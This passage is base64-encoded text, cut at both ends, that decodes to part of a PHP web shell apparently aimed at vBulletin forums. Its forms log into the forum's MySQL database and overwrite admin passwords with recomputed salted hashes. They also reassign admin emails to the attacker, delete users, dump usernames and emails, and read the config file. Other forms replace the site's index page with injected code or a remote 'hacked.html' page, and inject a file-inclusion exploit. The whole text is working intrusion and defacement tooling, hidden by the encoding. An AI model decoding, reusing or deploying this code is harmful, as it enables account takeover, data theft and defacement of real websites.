uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdzZWxlY3QgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkNCnsNCiRzYWx0ID0gJHJvd1snc2FsdCddOw0KJHggPSBtZDUoJHZicGFzcyk7DQokeCA9JHggLiAkc2FsdDsNCiRwYXNzX3NhbHQgPSBtZDUoJHgpOw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBwYXNzd29yZD0iJyAuICRwYXNzX3NhbHQgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBwYXNzIG9mIHRoZSB1c2VyIDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+JyAuICR2YnVzZXIgLiAnPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz4gd2FzIGNoYW5nZWQgdG8gPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZicGFzcyAuICc8L2ZvbnQ+PGJyPkJhY2sgdG8gPGEgaHJlZj0iPyI+U2hlbGw8L2E+PC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgc2l6ZT0zPjxmb250IGNvbG9yPXJlZD5GYWlsZWQgdG8gY2hhbmdlIFBhc3NXb3JkPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibG9naW4iKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9cHN3IiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgUGFzc3dvcmQ6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNoYW5nZSIgdmFsdWU9IkNoYW5nZSIgLz48L3RoPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZidXNlciIgdmFsdWU9ImFkbWluIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnBhc3MiIHZhbHVlPSJlZ3kgc3BpZGVyIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1tYWlsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgRS1NQUlMOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+VXNlciA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnVzZXIiIHZhbHVlPSJhZG1pbiIgLz48L3RkPjwvdHI+DQo8dHI+PHRkPk1BSUwgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJtYWlsIiB2YWx1ZT0iZWd5X3NwaWRlckBob3RtYWlsLmNvbSIgLz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9ZGVsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6RGVsZXRlIGEgdXNlcjo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlVzZXIgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJ1c2VyIiB2YWx1ZT0iYWRtaW4iIC8+PC90ZD48L3RyPg0KPC90YWJsZT4NCjw/DQplY2hvJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhvc3QiIHZhbHVlPSInIC4gJGhvc3QgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyIiB2YWx1ZT0iJyAuICR1c2VyIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzcyIgdmFsdWU9IicgLiAkcGFzcyAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRiIiB2YWx1ZT0iJyAuICRkYiAuICciPic7DQo/Pg0KPC9mb3JtPg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPGZvcm0gbmFtZT0iY2hhbmdlcGFzcyIgYWN0aW9uPSI/YWN0PWluYyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj4NCjx0aD46Ojo6OkNoYW5nZSBJbmRleCBieSBJbmNsdXNpb24oTm90IFBMKEVnWSBTcElkRXIpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPkluZGV4IExpbmsgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0ibGluayIgdmFsdWU9Imh0dHA6Ly93d3cuZWd5c3BpZGVyLmV1L2hhY2tlZC5odG1sIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1jb2RlIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIEluZGV4IGJ5IENvZGUoQWxsIEVkaXRpb24pOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+SW5kZXggQ29kZSA6IDwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPSJjb2RlIiBjb2xzPTYwIHJvd3M9MjA+PC90ZXh0YXJlYT48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9c2hlbGwiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpJbmplY3QgRmlsZUluY2x1c2lvbiBFeHBsb2l0KE5PVCBQTChBTC1NQVNTWUEpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlZhcmlhYmxlIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZhciIgdmFsdWU9InNoZWxsIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdCA9PSAnJyl7DQo/Pg0KPGZvcm0gbmFtZT0ibXlmb3JtIiBhY3Rpb249Ij9hY3Q9bG9naW4iIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCjw/DQp9DQppZiAoJGFjdCA9PSAnbHN0JyAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ2RiJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHJlID0gbXlzcWxfcXVlcnkoJ3NlbGVjdCAqIGZyb20gdXNlcicpOw0KZWNobyc8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPklEPC90aD48dGg+VVNFUk5BTUU8L3RoPjx0aD5FTUFJTDwvdGg+JzsNCndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlKSkNCnsNCmVjaG8nPHRyPjx0ZD4nIC4gJHJvd1sndXNlcmlkJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ3VzZXJuYW1lJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ2VtYWlsJ10gLiAnPC90ZD48L3RyPic7DQp9DQplY2hvJzwvdGFibGU+JzsNCj8+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPjw/DQokY291bnQgPSBteXNxbF9udW1fcm93cygkcmUpOw0KZWNobyAnTnVtYmVyIG9mIHVzZXJzIHJlZ2lzdGVyZWQgaXMgOiBbICcgLiAkY291bnQgLiAnIF0nOw0KID8+PC90aD48L3RhYmxlPg0KPD8NCn0NCmlmICgkYWN0ID09ICd1c2Vycycpew0KPz4NCiA8Zm9ybSBuYW1lPSJteWZvcm0iIGFjdGlvbj0iP2FjdD1sc3QiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8Pw0KfQ0KaWYgKCRhY3Q9PSdjb25maWcnKQ0Kew0KPz4NCjxmb3JtIG5hbWU9Im15Zm9ybSIgYWN0aW9uPSI/YWN0PXJlY29uZmlnIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q09ORklHIFBBVEg6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJSZWFkIiAvPjwvdGg+DQo8dHI+PHRkPlBBVEggOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0icGF0aCIgdmFsdWU9Ii9ob21lL2hhY2tlZC9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdD09J2luZGV4JykNCnsNCi8vIEluZGV4IEVkaXRvcjxIVE1MIEVkaXRvcj4NCj8+DQo8c2NyaXB0IGxhbmd1YWdlPSdqYXZhc2NyaXB0Jz4NCmZ1bmN0aW9uIGxpbmsoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlclRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCnZhciB5ID0gcHJvbXB0KCJFbnRlcmxpbmsiLCIiKQ0KaWYgKHk9PSIiIHwgeT09bnVsbCApIHsNCnJldHVybjsNCn0NCg0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8YSBocmVmPSIgKyB5ICsiPiIrWCsiPC9hPiI7DQoNCn0NCg0KZnVuY3Rpb24gcmlnaHQoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBUZXh0IiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxwIGFsaWduPSdyaWdodCc+IitYKyI8L3A+IjsNCg0KfQ0KZnVuY3Rpb24gbGVmdCgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPHAgYWxpZ249J2xlZnQnPiIrWCsiPC9wPiI7DQoNCn0NCmZ1bmN0aW9uIGNlbnRlcigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGNlbnRlcj4iK1grIjwvY2VudGVyPiI7DQoNCn0NCmZ1bmN0aW9uIGNvbG91cigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KdmFyIHkgPSBwcm9tcHQoIkVudGVyQ29sb3VyIiwiIikNCmlmICh5PT0iIiB8IHk9PW51bGwgKSB7DQpyZXR1cm47DQp9DQoNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGZvbnQgY29sb3I9IiArIHkgKyI+IitYKyI8L2ZvbnQ+IjsNCg0KfQ0KZnVuY3Rpb24gYigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEI+IitYKyI8L0I+IjsNCg0KfQ0KZnVuY3Rpb24gdSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPFU+IitYKyI8L1U+IjsNCg0KfQ0KZnVuY3Rpb24gaSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEk+IitYKyI8L0k+IjsNCg0KfQ0KZnVuY3Rpb24gbWFyKCl7DQp2YXIgWCA9IHByb21wdCgiRW50ZXIgVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8bWFycXVlZT4iK1grIjwvbWFycXVlZT4iOw0KDQp9DQpmdW5jdGlvbiBpbWcoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBsaW5rIiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxpbWcgc3JjPSciK1grIic+PC9pbWc+IjsNCg0KfQ0KZnVuY3Rpb24gYnIoKXsNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGJyPiI7DQoNCn0NCjwvc2NyaXB0Pg0KPHRhYmxlIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiMwMDgwMDAiIGJvcmRlcmNvbG9yZGFyaz0iIzAwODAwMCINCmJvcmRlcmNvbG9ybGlnaHQ9IiMwMDgwMDAiPjx0aD48YSBvbmNsaWNrPSdyZXR1cm4gY2VudGVyKCknPkNlbnRlcjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBsZWZ0KCknPkxlZnQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gcmlnaHQoKSc+cmlnaHQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gYigpJz5Cb2xkPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIHUoKSc+VW5kZXJMaW5lPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGkoKSc+SXRhbGljPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGJyKCknPk5ld0xpbmU8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gY29sb3VyKCknPkNvbG91cjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBtYXIoKSc+TWFycXVlZSB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGltZygpJz5QaWN0dXJlPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGxpbmsoKSc+TGluazwvYT48L2E+PC90aD48dHI+PFREPg0KPGNlbnRlcj48Zm9ybSBuYW1lPSJpbmRleGZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTQnIGNvbHM9Jzg2Jz48L3RleHRhcmVhPjwvcD4NCjwvZm9ybT48L2Zvcm0+PC9jZW50ZXI+DQo8L1REPjwvdHI+PHRyPjx0ZD5Db3B5IFRoZSBDb2RlIGFmdGVyIEZpbm